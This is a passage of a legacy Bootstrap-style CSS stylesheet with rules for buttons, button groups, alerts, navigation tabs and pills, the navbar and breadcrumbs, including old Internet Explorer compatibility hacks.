endColorstr='#bd362f', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-danger:hover,\n.btn-danger:active,\n.btn-danger.active,\n.btn-danger.disabled,\n.btn-danger[disabled] {\n  background-color: #bd362f;\n  *background-color: #a9302a;\n}\n\n.btn-danger:active,\n.btn-danger.active {\n  background-color: #942a25 \\9;\n}\n\n.btn-success {\n  background-color: #5bb75b;\n  *background-color: #51a351;\n  background-image: -ms-linear-gradient(top, #62c462, #51a351);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));\n  background-image: -webkit-linear-gradient(top, #62c462, #51a351);\n  background-image: -o-linear-gradient(top, #62c462, #51a351);\n  background-image: -moz-linear-gradient(top, #62c462, #51a351);\n  background-image: linear-gradient(top, #62c462, #51a351);\n  background-repeat: repeat-x;\n  border-color: #51a351 #51a351 #387038;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#62c462', endColorstr='#51a351', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-success:hover,\n.btn-success:active,\n.btn-success.active,\n.btn-success.disabled,\n.btn-success[disabled] {\n  background-color: #51a351;\n  *background-color: #499249;\n}\n\n.btn-success:active,\n.btn-success.active {\n  background-color: #408140 \\9;\n}\n\n.btn-info {\n  background-color: #49afcd;\n  *background-color: #2f96b4;\n  background-image: -ms-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));\n  background-image: -webkit-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -o-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -moz-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: linear-gradient(top, #5bc0de, #2f96b4);\n  background-repeat: repeat-x;\n  border-color: #2f96b4 #2f96b4 #1f6377;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#5bc0de', endColorstr='#2f96b4', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-info:hover,\n.btn-info:active,\n.btn-info.active,\n.btn-info.disabled,\n.btn-info[disabled] {\n  background-color: #2f96b4;\n  *background-color: #2a85a0;\n}\n\n.btn-info:active,\n.btn-info.active {\n  background-color: #24748c \\9;\n}\n\n.btn-inverse {\n  background-color: #414141;\n  *background-color: #222222;\n  background-image: -ms-linear-gradient(top, #555555, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#555555), to(#222222));\n  background-image: -webkit-linear-gradient(top, #555555, #222222);\n  background-image: -o-linear-gradient(top, #555555, #222222);\n  background-image: -moz-linear-gradient(top, #555555, #222222);\n  background-image: linear-gradient(top, #555555, #222222);\n  background-repeat: repeat-x;\n  border-color: #222222 #222222 #000000;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#555555', endColorstr='#222222', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-inverse:hover,\n.btn-inverse:active,\n.btn-inverse.active,\n.btn-inverse.disabled,\n.btn-inverse[disabled] {\n  background-color: #222222;\n  *background-color: #151515;\n}\n\n.btn-inverse:active,\n.btn-inverse.active {\n  background-color: #080808 \\9;\n}\n\nbutton.btn,\ninput[type=\"submit\"].btn {\n  *padding-top: 2px;\n  *padding-bottom: 2px;\n}\n\nbutton.btn::-moz-focus-inner,\ninput[type=\"submit\"].btn::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\n\nbutton.btn.btn-large,\ninput[type=\"submit\"].btn.btn-large {\n  *padding-top: 7px;\n  *padding-bottom: 7px;\n}\n\nbutton.btn.btn-small,\ninput[type=\"submit\"].btn.btn-small {\n  *padding-top: 3px;\n  *padding-bottom: 3px;\n}\n\nbutton.btn.btn-mini,\ninput[type=\"submit\"].btn.btn-mini {\n  *padding-top: 1px;\n  *padding-bottom: 1px;\n}\n\n.btn-group {\n  position: relative;\n  *margin-left: .3em;\n  *zoom: 1;\n}\n\n.btn-group:before,\n.btn-group:after {\n  display: table;\n  content: \"\";\n}\n\n.btn-group:after {\n  clear: both;\n}\n\n.btn-group:first-child {\n  *margin-left: 0;\n}\n\n.btn-group + .btn-group {\n  margin-left: 5px;\n}\n\n.btn-toolbar {\n  margin-top: 9px;\n  margin-bottom: 9px;\n}\n\n.btn-toolbar .btn-group {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n}\n\n.btn-group > .btn {\n  position: relative;\n  float: left;\n  margin-left: -1px;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n  -webkit-border-bottom-left-radius: 4px;\n          border-bottom-left-radius: 4px;\n  -webkit-border-top-left-radius: 4px;\n          border-top-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n  -moz-border-radius-topleft: 4px;\n}\n\n.btn-group > .btn:last-child,\n.btn-group > .dropdown-toggle {\n  -webkit-border-top-right-radius: 4px;\n          border-top-right-radius: 4px;\n  -webkit-border-bottom-right-radius: 4px;\n          border-bottom-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n  -moz-border-radius-bottomright: 4px;\n}\n\n.btn-group > .btn.large:first-child {\n  margin-left: 0;\n  -webkit-border-bottom-left-radius: 6px;\n          border-bottom-left-radius: 6px;\n  -webkit-border-top-left-radius: 6px;\n          border-top-left-radius: 6px;\n  -moz-border-radius-bottomleft: 6px;\n  -moz-border-radius-topleft: 6px;\n}\n\n.btn-group > .btn.large:last-child,\n.btn-group > .large.dropdown-toggle {\n  -webkit-border-top-right-radius: 6px;\n          border-top-right-radius: 6px;\n  -webkit-border-bottom-right-radius: 6px;\n          border-bottom-right-radius: 6px;\n  -moz-border-radius-topright: 6px;\n  -moz-border-radius-bottomright: 6px;\n}\n\n.btn-group > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group > .btn:active,\n.btn-group > .btn.active {\n  z-index: 2;\n}\n\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n\n.btn-group > .dropdown-toggle {\n  *padding-top: 4px;\n  padding-right: 8px;\n  *padding-bottom: 4px;\n  padding-left: 8px;\n  -webkit-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn-group > .btn-mini.dropdown-toggle {\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.btn-group > .btn-small.dropdown-toggle {\n  *padding-top: 4px;\n  *padding-bottom: 4px;\n}\n\n.btn-group > .btn-large.dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n\n.btn-group.open .dropdown-toggle {\n  background-image: none;\n  -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn-group.open .btn.dropdown-toggle {\n  background-color: #e6e6e6;\n}\n\n.btn-group.open .btn-primary.dropdown-toggle {\n  background-color: #0055cc;\n}\n\n.btn-group.open .btn-warning.dropdown-toggle {\n  background-color: #f89406;\n}\n\n.btn-group.open .btn-danger.dropdown-toggle {\n  background-color: #bd362f;\n}\n\n.btn-group.open .btn-success.dropdown-toggle {\n  background-color: #51a351;\n}\n\n.btn-group.open .btn-info.dropdown-toggle {\n  background-color: #2f96b4;\n}\n\n.btn-group.open .btn-inverse.dropdown-toggle {\n  background-color: #222222;\n}\n\n.btn .caret {\n  margin-top: 7px;\n  margin-left: 0;\n}\n\n.btn:hover .caret,\n.open.btn-group .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.btn-mini .caret {\n  margin-top: 5px;\n}\n\n.btn-small .caret {\n  margin-top: 6px;\n}\n\n.btn-large .caret {\n  margin-top: 6px;\n  border-top-width: 5px;\n  border-right-width: 5px;\n  border-left-width: 5px;\n}\n\n.dropup .btn-large .caret {\n  border-top: 0;\n  border-bottom: 5px solid #000000;\n}\n\n.btn-primary .caret,\n.btn-warning .caret,\n.btn-danger .caret,\n.btn-info .caret,\n.btn-success .caret,\n.btn-inverse .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n  opacity: 0.75;\n  filter: alpha(opacity=75);\n}\n\n.alert {\n  padding: 8px 35px 8px 14px;\n  margin-bottom: 18px;\n  color: #c09853;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n  background-color: #fcf8e3;\n  border: 1px solid #fbeed5;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.alert-heading {\n  color: inherit;\n}\n\n.alert .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  line-height: 18px;\n}\n\n.alert-success {\n  color: #468847;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n\n.alert-danger,\n.alert-error {\n  color: #b94a48;\n  background-color: #f2dede;\n  border-color: #eed3d7;\n}\n\n.alert-info {\n  color: #3a87ad;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n\n.alert-block {\n  padding-top: 14px;\n  padding-bottom: 14px;\n}\n\n.alert-block > p,\n.alert-block > ul {\n  margin-bottom: 0;\n}\n\n.alert-block p + p {\n  margin-top: 5px;\n}\n\n.nav {\n  margin-bottom: 18px;\n  margin-left: 0;\n  list-style: none;\n}\n\n.nav > li > a {\n  display: block;\n}\n\n.nav > li > a:hover {\n  text-decoration: none;\n  background-color: #eeeeee;\n}\n\n.nav > .pull-right {\n  float: right;\n}\n\n.nav .nav-header {\n  display: block;\n  padding: 3px 15px;\n  font-size: 11px;\n  font-weight: bold;\n  line-height: 18px;\n  color: #999999;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n  text-transform: uppercase;\n}\n\n.nav li + .nav-header {\n  margin-top: 9px;\n}\n\n.nav-list {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-bottom: 0;\n}\n\n.nav-list > li > a,\n.nav-list .nav-header {\n  margin-right: -15px;\n  margin-left: -15px;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n}\n\n.nav-list > li > a {\n  padding: 3px 15px;\n}\n\n.nav-list > .active > a,\n.nav-list > .active > a:hover {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);\n  background-color: #0088cc;\n}\n\n.nav-list [class^=\"icon-\"] {\n  margin-right: 2px;\n}\n\n.nav-list .divider {\n  *width: 100%;\n  height: 1px;\n  margin: 8px 1px;\n  *margin: -5px 0 5px;\n  overflow: hidden;\n  background-color: #e5e5e5;\n  border-bottom: 1px solid #ffffff;\n}\n\n.nav-tabs,\n.nav-pills {\n  *zoom: 1;\n}\n\n.nav-tabs:before,\n.nav-pills:before,\n.nav-tabs:after,\n.nav-pills:after {\n  display: table;\n  content: \"\";\n}\n\n.nav-tabs:after,\n.nav-pills:after {\n  clear: both;\n}\n\n.nav-tabs > li,\n.nav-pills > li {\n  float: left;\n}\n\n.nav-tabs > li > a,\n.nav-pills > li > a {\n  padding-right: 12px;\n  padding-left: 12px;\n  margin-right: 2px;\n  line-height: 14px;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n\n.nav-tabs > li {\n  margin-bottom: -1px;\n}\n\n.nav-tabs > li > a {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  line-height: 18px;\n  border: 1px solid transparent;\n  -webkit-border-radius: 4px 4px 0 0;\n     -moz-border-radius: 4px 4px 0 0;\n          border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs > li > a:hover {\n  border-color: #eeeeee #eeeeee #dddddd;\n}\n\n.nav-tabs > .active > a,\n.nav-tabs > .active > a:hover {\n  color: #555555;\n  cursor: default;\n  background-color: #ffffff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n}\n\n.nav-pills > li > a {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  margin-top: 2px;\n  margin-bottom: 2px;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n}\n\n.nav-pills > .active > a,\n.nav-pills > .active > a:hover {\n  color: #ffffff;\n  background-color: #0088cc;\n}\n\n.nav-stacked > li {\n  float: none;\n}\n\n.nav-stacked > li > a {\n  margin-right: 0;\n}\n\n.nav-tabs.nav-stacked {\n  border-bottom: 0;\n}\n\n.nav-tabs.nav-stacked > li > a {\n  border: 1px solid #ddd;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.nav-tabs.nav-stacked > li:first-child > a {\n  -webkit-border-radius: 4px 4px 0 0;\n     -moz-border-radius: 4px 4px 0 0;\n          border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs.nav-stacked > li:last-child > a {\n  -webkit-border-radius: 0 0 4px 4px;\n     -moz-border-radius: 0 0 4px 4px;\n          border-radius: 0 0 4px 4px;\n}\n\n.nav-tabs.nav-stacked > li > a:hover {\n  z-index: 2;\n  border-color: #ddd;\n}\n\n.nav-pills.nav-stacked > li > a {\n  margin-bottom: 3px;\n}\n\n.nav-pills.nav-stacked > li:last-child > a {\n  margin-bottom: 1px;\n}\n\n.nav-tabs .dropdown-menu {\n  -webkit-border-radius: 0 0 5px 5px;\n     -moz-border-radius: 0 0 5px 5px;\n          border-radius: 0 0 5px 5px;\n}\n\n.nav-pills .dropdown-menu {\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.nav-tabs .dropdown-toggle .caret,\n.nav-pills .dropdown-toggle .caret {\n  margin-top: 6px;\n  border-top-color: #0088cc;\n  border-bottom-color: #0088cc;\n}\n\n.nav-tabs .dropdown-toggle:hover .caret,\n.nav-pills .dropdown-toggle:hover .caret {\n  border-top-color: #005580;\n  border-bottom-color: #005580;\n}\n\n.nav-tabs .active .dropdown-toggle .caret,\n.nav-pills .active .dropdown-toggle .caret {\n  border-top-color: #333333;\n  border-bottom-color: #333333;\n}\n\n.nav > .dropdown.active > a:hover {\n  color: #000000;\n  cursor: pointer;\n}\n\n.nav-tabs .open .dropdown-toggle,\n.nav-pills .open .dropdown-toggle,\n.nav > li.dropdown.open.active > a:hover {\n  color: #ffffff;\n  background-color: #999999;\n  border-color: #999999;\n}\n\n.nav li.dropdown.open .caret,\n.nav li.dropdown.open.active .caret,\n.nav li.dropdown.open a:hover .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.tabs-stacked .open > a:hover {\n  border-color: #999999;\n}\n\n.tabbable {\n  *zoom: 1;\n}\n\n.tabbable:before,\n.tabbable:after {\n  display: table;\n  content: \"\";\n}\n\n.tabbable:after {\n  clear: both;\n}\n\n.tab-content {\n  overflow: auto;\n}\n\n.tabs-below > .nav-tabs,\n.tabs-right > .nav-tabs,\n.tabs-left > .nav-tabs {\n  border-bottom: 0;\n}\n\n.tab-content > .tab-pane,\n.pill-content > .pill-pane {\n  display: none;\n}\n\n.tab-content > .active,\n.pill-content > .active {\n  display: block;\n}\n\n.tabs-below > .nav-tabs {\n  border-top: 1px solid #ddd;\n}\n\n.tabs-below > .nav-tabs > li {\n  margin-top: -1px;\n  margin-bottom: 0;\n}\n\n.tabs-below > .nav-tabs > li > a {\n  -webkit-border-radius: 0 0 4px 4px;\n     -moz-border-radius: 0 0 4px 4px;\n          border-radius: 0 0 4px 4px;\n}\n\n.tabs-below > .nav-tabs > li > a:hover {\n  border-top-color: #ddd;\n  border-bottom-color: transparent;\n}\n\n.tabs-below > .nav-tabs > .active > a,\n.tabs-below > .nav-tabs > .active > a:hover {\n  border-color: transparent #ddd #ddd #ddd;\n}\n\n.tabs-left > .nav-tabs > li,\n.tabs-right > .nav-tabs > li {\n  float: none;\n}\n\n.tabs-left > .nav-tabs > li > a,\n.tabs-right > .nav-tabs > li > a {\n  min-width: 74px;\n  margin-right: 0;\n  margin-bottom: 3px;\n}\n\n.tabs-left > .nav-tabs {\n  float: left;\n  margin-right: 19px;\n  border-right: 1px solid #ddd;\n}\n\n.tabs-left > .nav-tabs > li > a {\n  margin-right: -1px;\n  -webkit-border-radius: 4px 0 0 4px;\n     -moz-border-radius: 4px 0 0 4px;\n          border-radius: 4px 0 0 4px;\n}\n\n.tabs-left > .nav-tabs > li > a:hover {\n  border-color: #eeeeee #dddddd #eeeeee #eeeeee;\n}\n\n.tabs-left > .nav-tabs .active > a,\n.tabs-left > .nav-tabs .active > a:hover {\n  border-color: #ddd transparent #ddd #ddd;\n  *border-right-color: #ffffff;\n}\n\n.tabs-right > .nav-tabs {\n  float: right;\n  margin-left: 19px;\n  border-left: 1px solid #ddd;\n}\n\n.tabs-right > .nav-tabs > li > a {\n  margin-left: -1px;\n  -webkit-border-radius: 0 4px 4px 0;\n     -moz-border-radius: 0 4px 4px 0;\n          border-radius: 0 4px 4px 0;\n}\n\n.tabs-right > .nav-tabs > li > a:hover {\n  border-color: #eeeeee #eeeeee #eeeeee #dddddd;\n}\n\n.tabs-right > .nav-tabs .active > a,\n.tabs-right > .nav-tabs .active > a:hover {\n  border-color: #ddd #ddd #ddd transparent;\n  *border-left-color: #ffffff;\n}\n\n.navbar {\n  *position: relative;\n  *z-index: 2;\n  margin-bottom: 18px;\n  overflow: visible;\n}\n\n.navbar-inner {\n  min-height: 40px;\n  padding-right: 20px;\n  padding-left: 20px;\n  background-color: #2c2c2c;\n  background-image: -moz-linear-gradient(top, #333333, #222222);\n  background-image: -ms-linear-gradient(top, #333333, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));\n  background-image: -webkit-linear-gradient(top, #333333, #222222);\n  background-image: -o-linear-gradient(top, #333333, #222222);\n  background-image: linear-gradient(top, #333333, #222222);\n  background-repeat: repeat-x;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);\n  -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n     -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n          box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n}\n\n.navbar .container {\n  width: auto;\n}\n\n.nav-collapse.collapse {\n  height: auto;\n}\n\n.navbar {\n  color: #999999;\n}\n\n.navbar .brand:hover {\n  text-decoration: none;\n}\n\n.navbar .brand {\n  display: block;\n  float: left;\n  padding: 8px 20px 12px;\n  margin-left: -20px;\n  font-size: 20px;\n  font-weight: 200;\n  line-height: 1;\n  color: #999999;\n}\n\n.navbar .navbar-text {\n  margin-bottom: 0;\n  line-height: 40px;\n}\n\n.navbar .navbar-link {\n  color: #999999;\n}\n\n.navbar .navbar-link:hover {\n  color: #ffffff;\n}\n\n.navbar .btn,\n.navbar .btn-group {\n  margin-top: 5px;\n}\n\n.navbar .btn-group .btn {\n  margin: 0;\n}\n\n.navbar-form {\n  margin-bottom: 0;\n  *zoom: 1;\n}\n\n.navbar-form:before,\n.navbar-form:after {\n  display: table;\n  content: \"\";\n}\n\n.navbar-form:after {\n  clear: both;\n}\n\n.navbar-form input,\n.navbar-form select,\n.navbar-form .radio,\n.navbar-form .checkbox {\n  margin-top: 5px;\n}\n\n.navbar-form input,\n.navbar-form select {\n  display: inline-block;\n  margin-bottom: 0;\n}\n\n.navbar-form input[type=\"image\"],\n.navbar-form input[type=\"checkbox\"],\n.navbar-form input[type=\"radio\"] {\n  margin-top: 3px;\n}\n\n.navbar-form .input-append,\n.navbar-form .input-prepend {\n  margin-top: 6px;\n  white-space: nowrap;\n}\n\n.navbar-form .input-append input,\n.navbar-form .input-prepend input {\n  margin-top: 0;\n}\n\n.navbar-search {\n  position: relative;\n  float: left;\n  margin-top: 6px;\n  margin-bottom: 0;\n}\n\n.navbar-search .search-query {\n  padding: 4px 9px;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 13px;\n  font-weight: normal;\n  line-height: 1;\n  color: #ffffff;\n  background-color: #626262;\n  border: 1px solid #151515;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n  -webkit-transition: none;\n     -moz-transition: none;\n      -ms-transition: none;\n       -o-transition: none;\n          transition: none;\n}\n\n.navbar-search .search-query:-moz-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query:-ms-input-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query::-webkit-input-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query:focus,\n.navbar-search .search-query.focused {\n  padding: 5px 10px;\n  color: #333333;\n  text-shadow: 0 1px 0 #ffffff;\n  background-color: #ffffff;\n  border: 0;\n  outline: 0;\n  -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n     -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n          box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n  margin-bottom: 0;\n}\n\n.navbar-fixed-top .navbar-inner,\n.navbar-fixed-bottom .navbar-inner {\n  padding-right: 0;\n  padding-left: 0;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n  width: 940px;\n}\n\n.navbar-fixed-top {\n  top: 0;\n}\n\n.navbar-fixed-bottom {\n  bottom: 0;\n}\n\n.navbar .nav {\n  position: relative;\n  left: 0;\n  display: block;\n  float: left;\n  margin: 0 10px 0 0;\n}\n\n.navbar .nav.pull-right {\n  float: right;\n}\n\n.navbar .nav > li {\n  display: block;\n  float: left;\n}\n\n.navbar .nav > li > a {\n  float: none;\n  padding: 9px 10px 11px;\n  line-height: 19px;\n  color: #999999;\n  text-decoration: none;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.navbar .btn {\n  display: inline-block;\n  padding: 4px 10px 4px;\n  margin: 5px 5px 6px;\n  line-height: 18px;\n}\n\n.navbar .btn-group {\n  padding: 5px 5px 6px;\n  margin: 0;\n}\n\n.navbar .nav > li > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: transparent;\n}\n\n.navbar .nav .active > a,\n.navbar .nav .active > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: #222222;\n}\n\n.navbar .divider-vertical {\n  width: 1px;\n  height: 40px;\n  margin: 0 9px;\n  overflow: hidden;\n  background-color: #222222;\n  border-right: 1px solid #333333;\n}\n\n.navbar .nav.pull-right {\n  margin-right: 0;\n  margin-left: 10px;\n}\n\n.navbar .btn-navbar {\n  display: none;\n  float: right;\n  padding: 7px 10px;\n  margin-right: 5px;\n  margin-left: 5px;\n  background-color: #2c2c2c;\n  *background-color: #222222;\n  background-image: -ms-linear-gradient(top, #333333, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));\n  background-image: -webkit-linear-gradient(top, #333333, #222222);\n  background-image: -o-linear-gradient(top, #333333, #222222);\n  background-image: linear-gradient(top, #333333, #222222);\n  background-image: -moz-linear-gradient(top, #333333, #222222);\n  background-repeat: repeat-x;\n  border-color: #222222 #222222 #000000;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n     -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n}\n\n.navbar .btn-navbar:hover,\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active,\n.navbar .btn-navbar.disabled,\n.navbar .btn-navbar[disabled] {\n  background-color: #222222;\n  *background-color: #151515;\n}\n\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active {\n  background-color: #080808 \\9;\n}\n\n.navbar .btn-navbar .icon-bar {\n  display: block;\n  width: 18px;\n  height: 2px;\n  background-color: #f5f5f5;\n  -webkit-border-radius: 1px;\n     -moz-border-radius: 1px;\n          border-radius: 1px;\n  -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n     -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n          box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.btn-navbar .icon-bar + .icon-bar {\n  margin-top: 3px;\n}\n\n.navbar .dropdown-menu:before {\n  position: absolute;\n  top: -7px;\n  left: 9px;\n  display: inline-block;\n  border-right: 7px solid transparent;\n  border-bottom: 7px solid #ccc;\n  border-left: 7px solid transparent;\n  border-bottom-color: rgba(0, 0, 0, 0.2);\n  content: '';\n}\n\n.navbar .dropdown-menu:after {\n  position: absolute;\n  top: -6px;\n  left: 10px;\n  display: inline-block;\n  border-right: 6px solid transparent;\n  border-bottom: 6px solid #ffffff;\n  border-left: 6px solid transparent;\n  content: '';\n}\n\n.navbar-fixed-bottom .dropdown-menu:before {\n  top: auto;\n  bottom: -7px;\n  border-top: 7px solid #ccc;\n  border-bottom: 0;\n  border-top-color: rgba(0, 0, 0, 0.2);\n}\n\n.navbar-fixed-bottom .dropdown-menu:after {\n  top: auto;\n  bottom: -6px;\n  border-top: 6px solid #ffffff;\n  border-bottom: 0;\n}\n\n.navbar .nav li.dropdown .dropdown-toggle .caret,\n.navbar .nav li.dropdown.open .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n}\n\n.navbar .nav li.dropdown.active .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.navbar .nav li.dropdown.open > .dropdown-toggle,\n.navbar .nav li.dropdown.active > .dropdown-toggle,\n.navbar .nav li.dropdown.open.active > .dropdown-toggle {\n  background-color: transparent;\n}\n\n.navbar .nav li.dropdown.active > .dropdown-toggle:hover {\n  color: #ffffff;\n}\n\n.navbar .pull-right .dropdown-menu,\n.navbar .dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n\n.navbar .pull-right .dropdown-menu:before,\n.navbar .dropdown-menu.pull-right:before {\n  right: 12px;\n  left: auto;\n}\n\n.navbar .pull-right .dropdown-menu:after,\n.navbar .dropdown-menu.pull-right:after {\n  right: 13px;\n  left: auto;\n}\n\n.breadcrumb {\n  padding: 7px 14px;\n  margin: 0 0 18px;\n  list-style: none;\n  background-color: #fbfbfb;\n  background-image: -moz-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -ms-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f5f5f5));\n  background-image: -webkit-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -o-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: linear-gradient(top, #ffffff, #f5f5f5);\n  background-repeat: repeat-x;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);\n  -webkit-box-shadow: inset 0 1px 0 #ffffff;\n     -moz-box-shadow: inset 0 1px 0 #ffffff;\n          box-shadow: inset 0 1px 0 #ffffff;\n}\n\n.breadcrumb li {\n  display: inline-block;\n  *display: inline;\n  text-shadow: 0 1px 0 #ffffff;\n  *zoom: 1;\n}\n\n.breadcrumb .divider {\n  padding: 0 5px;\n  color: #999999;\n}\n\n.breadcrumb .active a {\n  color: #333333;\n}\n\n.pagination {\n  height: 36px;\n  margin: 18px 0;\n}\n\n.pagination ul {\n  display: inline-block;\n  *display: inline;\n  margin-bottom: 0;\n  margin-left: 0;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 